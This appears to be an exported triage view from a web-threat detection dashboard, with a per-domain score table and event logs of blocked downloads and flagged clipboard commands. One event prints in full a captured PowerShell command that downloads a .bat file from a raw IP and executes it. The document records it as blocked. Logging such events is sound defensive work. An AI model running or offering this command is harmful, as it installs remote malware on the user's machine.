Resultados de búsqueda
Workspace operativo con triage, historial y acciones rápidas.
Warnungen 24h 3
Blockierungen 24h 0
pend. revisión 1937
Selecciona un resultado para ver el detalle enriquecido.
Resumen asistido
localSelecciona un evento para ver un resumen corto.
Fecha
País
URL
URL previa
IP (manual report)
Extension (manual report)
Dominio ya bloqueado
Erkannte Grunde
Erkannte Snippets
Evidencias (signals)
Detalle de score
MITRE ATT&CK Blueprint
Sin TTPs detectadas para este evento.
Contexto resaltado
Raw JSON
Eventos por dominio (agrupados)
| Dominio | Eventos | Impactos (dup) | Bloqueos | Score max | Última actividad |
|---|---|---|---|---|---|
| www.exploretock.com | 1 | 2 | 0 | 20/100 | 2026-06-05T13:33:01+00:00 |
| columbnezhjdq.com | 1 | 4 | 0 | 20/100 | 2026-06-05T13:12:41+00:00 |
| www.gesundeswasser.co | 1 | 1 | 0 | 74/100 | 2026-06-05T12:35:09+00:00 |
| release-assets.githubusercontent.com | 1 | 2 | 0 | 53/100 | 2026-06-01T18:51:40+00:00 |
| socheaphost.com | 53 | 78 | 5 | 83/100 | 2026-06-01T17:03:18+00:00 |
| 192.168.0.49 | 2 | 6 | 0 | 75/100 | 2026-06-01T09:01:40+00:00 |
| 119.45.45.15 | 1 | 2 | 0 | 65/100 | 2026-06-01T06:11:52+00:00 |
| 5.2.243.240 | 1 | 2 | 0 | 55/100 | 2026-06-01T06:11:52+00:00 |
| 192.168.0.55 | 1 | 2 | 0 | 65/100 | 2026-06-01T06:11:51+00:00 |
| search.brave.com | 2 | 127 | 1 | 0/100 | 2026-05-26T09:30:02+00:00 |
| bebeto-tn.com | 1 | 1 | 0 | 53/100 | 2026-05-22T13:11:55+00:00 |
| www.interceptsecurityservices.ca | 1 | 1 | 0 | 53/100 | 2026-05-22T12:06:58+00:00 |
| lorenzmediation.com | 1 | 1 | 0 | 53/100 | 2026-05-22T12:01:24+00:00 |
| biletors.cfd | 5 | 5 | 0 | 53/100 | 2026-05-22T11:55:56+00:00 |
| lacuchararestaurante.es | 1 | 1 | 0 | 53/100 | 2026-05-22T11:55:51+00:00 |
| pierrejoinery.co.uk | 1 | 1 | 0 | 53/100 | 2026-05-22T11:55:51+00:00 |
| thespaceprojectco.com.au | 1 | 1 | 0 | 53/100 | 2026-05-22T11:55:51+00:00 |
| raldirisgonzalez.com | 1 | 1 | 0 | 54/100 | 2026-05-22T11:50:55+00:00 |
| teacheducator.com | 2 | 2 | 0 | 53/100 | 2026-05-22T11:45:55+00:00 |
| bec-group.com | 1 | 1 | 0 | 53/100 | 2026-05-22T11:45:55+00:00 |
| cert.ssi.gouv.fr | 1 | 2 | 0 | 16/100 | 2026-05-21T17:23:23+00:00 |
| rausi.ca | 1 | 1 | 0 | 16/100 | 2026-05-21T17:23:23+00:00 |
| serviceware-se.com | 1 | 1 | 0 | 16/100 | 2026-05-21T17:23:23+00:00 |
| www.enisa.europa.eu | 1 | 1 | 0 | 16/100 | 2026-05-21T17:23:23+00:00 |
| www.lmforums.com | 1 | 1 | 0 | 16/100 | 2026-05-21T17:23:23+00:00 |
| pdf.lab.local | 1 | 2 | 0 | 20/100 | 2026-05-21T08:06:19+00:00 |
| cdpn.io | 9 | 9 | 0 | 48/100 | 2026-05-18T07:58:57+00:00 |
| chatgpt.com | 6 | 6 | 0 | 34/100 | 2026-05-14T18:08:03+00:00 |
| clickhere.click | 1 | 1 | 1 | 50/100 | 2026-05-08T10:10:23+00:00 |
| www.ciopowerlist.com | 1 | 1 | 1 | 46/100 | 2026-05-08T10:10:23+00:00 |
| todai.ai | 1 | 1 | 1 | 46/100 | 2026-05-07T18:49:47+00:00 |
| curatedaudio.net | 1 | 1 | 1 | 29/100 | 2026-05-07T18:37:30+00:00 |
| mnepohui.sbs | 3 | 3 | 0 | 46/100 | 2026-05-06T21:36:20+00:00 |
| 172.94.9.44 | 4 | 4 | 0 | 65/100 | 2026-05-06T21:11:20+00:00 |
| redsbuilding.com.au | 1 | 1 | 0 | 46/100 | 2026-05-06T21:06:21+00:00 |
| bobik.cfd | 6 | 6 | 0 | 53/100 | 2026-05-06T09:31:04+00:00 |
| provoseoproshub.com | 1 | 1 | 0 | 46/100 | 2026-05-06T04:38:23+00:00 |
| provomarketigseo.com | 1 | 1 | 0 | 46/100 | 2026-05-06T04:33:19+00:00 |
| indonesia-recipe.com | 1 | 1 | 0 | 46/100 | 2026-05-06T04:28:23+00:00 |
| trucybersec.com | 1 | 1 | 0 | 46/100 | 2026-05-04T15:42:25+00:00 |
| tomselman.com | 1 | 1 | 0 | 29/100 | 2026-05-04T15:27:27+00:00 |
| libertiestours.ie | 1 | 1 | 0 | 63/100 | 2026-05-04T15:22:25+00:00 |
| extranet.bolipuertos.gob.ve | 24 | 24 | 0 | 34/100 | 2026-05-01T20:45:14+00:00 |
| aeiou.click | 1 | 1 | 0 | 66/100 | 2026-04-30T11:37:39+00:00 |
| etomoe.cfd | 3 | 3 | 0 | 31/100 | 2026-04-29T06:02:25+00:00 |
| 150.241.92.37 | 1 | 1 | 0 | 46/100 | 2026-04-28T18:56:50+00:00 |
| laboteksol.com | 1 | 1 | 0 | 53/100 | 2026-04-27T14:39:54+00:00 |
| connectweb.chat | 1 | 1 | 0 | 53/100 | 2026-04-27T11:45:15+00:00 |
| ivangay.bond | 1 | 1 | 0 | 31/100 | 2026-04-27T11:36:59+00:00 |
| generalcleaning.ie | 1 | 1 | 0 | 63/100 | 2026-04-24T11:45:50+00:00 |
| verifyhumanbot.com | 1 | 1 | 0 | 53/100 | 2026-04-24T11:10:37+00:00 |
| bigbadwolf.click | 1 | 1 | 1 | 31/100 | 2026-04-16T07:43:52+00:00 |
| hack.chat | 1 | 1 | 0 | 66/100 | 2026-04-09T06:32:16+00:00 |
Web-Screenshots (before/after)
Letzter Scan
scan_id: 1554 | mail.fundacion-primavera.org | 2026-03-09T13:23:28+00:00
Vorher
approvedDespués
approvedKlassische Tabellenansicht
| Fecha | Dominio | Marcado | Mensaje | Estado |
|---|---|---|---|---|
| 2026-06-05T13:08:04+00:00 | www.exploretock.com | - | Detected snippet: "Non-HTML content probe (application/javascript; charset=utf-8)" Detected snippet: "Filename: tock.js" Detected snippet: "Extension: .js" Detected snippet: "Blocked extension: .js" Detected snippet: "Unfamiliar download host: www.exploretock.com" Detected snippet: "Runtime verdict: low (20/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:0 Vision:20" Detected snippet: "Runtime reason: Download risk engine classified artifact as unsafe." Confidence score: 20/100 | pending |
| 2026-06-05T12:57:28+00:00 | columbnezhjdq.com | - | Detected snippet: "Non-HTML content probe (text/plain;charset=utf-8)" Detected snippet: "Filename: goolgetagmanager.js" Detected snippet: "Extension: .js" Detected snippet: "Blocked extension: .js" Detected snippet: "Unfamiliar download host: columbnezhjdq.com" Detected snippet: "Runtime verdict: low (20/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:0 Vision:20" Detected snippet: "Runtime reason: Download risk engine classified artifact as unsafe." Confidence score: 20/100 | pending |
| 2026-06-05T12:35:09+00:00 | www.gesundeswasser.co | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "powershell -c "Invoke-WebRequest -Uri 'http://95.164.53.214:5554/d.bat' -OutFile "%temp%d.bat" -UseBasicParsing; Start-Process "%temp%d.bat""" Detected snippet: "Runtime verdict: unsafe (74/100)" Detected snippet: "Models URL:8 Content:31 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: URL uses insecure HTTP." Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Shell execution hint found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "powershell -c "Invoke-WebRequest -Uri 'http://95.164.53.214:5554/d.bat' -OutFile "%temp%d.bat" -UseBasicParsing; Start-Process "%temp%d.bat""" Confidence score: 74/100 | pending |
| 2026-05-25T09:40:08+00:00 | release-assets.githubusercontent.com | - | Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "Unsafe download blocked: PrivescCheck.ps1" Detected snippet: "Blocked extension: .ps1" Detected snippet: "Unfamiliar download host: release-assets.githubusercontent.com" Detected snippet: "Runtime verdict: suspicious (53/100)" Detected snippet: "Models URL:0 Content:18 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: PrivescCheck.ps1" Detected snippet: "Runtime reason: Blocked extension: .ps1" Detected snippet: "Runtime reason: Unfamiliar download host: release-assets.githubusercontent.com" Confidence score: 53/100 | pending |
| 2026-06-01T17:03:14+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: PHP 7.4.33 - phpinfo().html" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: PHP 7.4.33 - phpinfo().html" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: txets.php.html" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: txets.php.html" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:02+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: before_apache_make.txt" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: before_apache_make.txt" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:02+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: tvabtyfnfh.txt" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: tvabtyfnfh.txt" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:02+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: agjinxwafq.txt" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: agjinxwafq.txt" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:02+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: notdhmoxaw.txt" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: notdhmoxaw.txt" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:15+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: index.php.bk" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: index.php.bk" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:02+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: htaccess.txt" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: htaccess.txt" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:16+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: harden-symlinks.patch" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: harden-symlinks.patch" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:16+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: x.gif" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: x.gif" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:16+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: wp74 (1).sql.gz" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: wp74 (1).sql.gz" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:16+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: _Thumbs.db" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: _Thumbs.db" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:16+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: punbb (1).sql.gz" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: punbb (1).sql.gz" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:16+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: IRS_SUPPORT (1).zip" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: IRS_SUPPORT (1).zip" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: wp74.sql.gz" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: wp74.sql.gz" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: punbb.sql.gz" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: punbb.sql.gz" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:15+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: db.sql" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: db.sql" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:14+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: index.php (1).bk" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: index.php (1).bk" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:14+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: installphp.sh" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: installphp.sh" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:14+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: SSA_SUPPORT (1).zip" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: SSA_SUPPORT (1).zip" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:14+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: SSA_GOVERNMENT (1).zip" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: SSA_GOVERNMENT (1).zip" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:14+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: SSA_GOVERNMENT.zip" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: SSA_GOVERNMENT.zip" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:14+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: SSA_SECURITY (1).zip" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: SSA_SECURITY (1).zip" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:12+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: IRS_SUPPORT.zip" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: IRS_SUPPORT.zip" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:12+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: SSA_SUPPORT.zip" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: SSA_SUPPORT.zip" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: SSA_SECURITY.zip" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: SSA_SECURITY.zip" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: _Thumbs (2).db" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: _Thumbs (2).db" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: howto-install.php.html" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: howto-install.php.html" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: _Thumbs (3).db" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: _Thumbs (3).db" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: _Thumbs (1).db" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: _Thumbs (1).db" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: get_started-bg.psd" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: get_started-bg.psd" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: installphp (1).sh" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: installphp (1).sh" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:02+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Fragmento detectado: "Unsafe download blocked: harden-symlinks (1).patch" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: harden-symlinks (1).patch" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-05-25T09:40:08+00:00 | 192.168.0.49 | - | Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "Unsafe download blocked: launcher.bat" Detected snippet: "Blocked extension: .bat" Detected snippet: "Download served over insecure HTTP." Detected snippet: "Download host is an IP address." Detected snippet: "Unfamiliar download host: 192.168.0.49" Detected snippet: "Runtime verdict: unsafe (75/100)" Detected snippet: "Models URL:14 Content:18 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: launcher.bat" Detected snippet: "Runtime reason: Blocked extension: .bat" Detected snippet: "Runtime reason: Download served over insecure HTTP." Detected snippet: "Runtime reason: Download host is an IP address." Confidence score: 75/100 | pending |
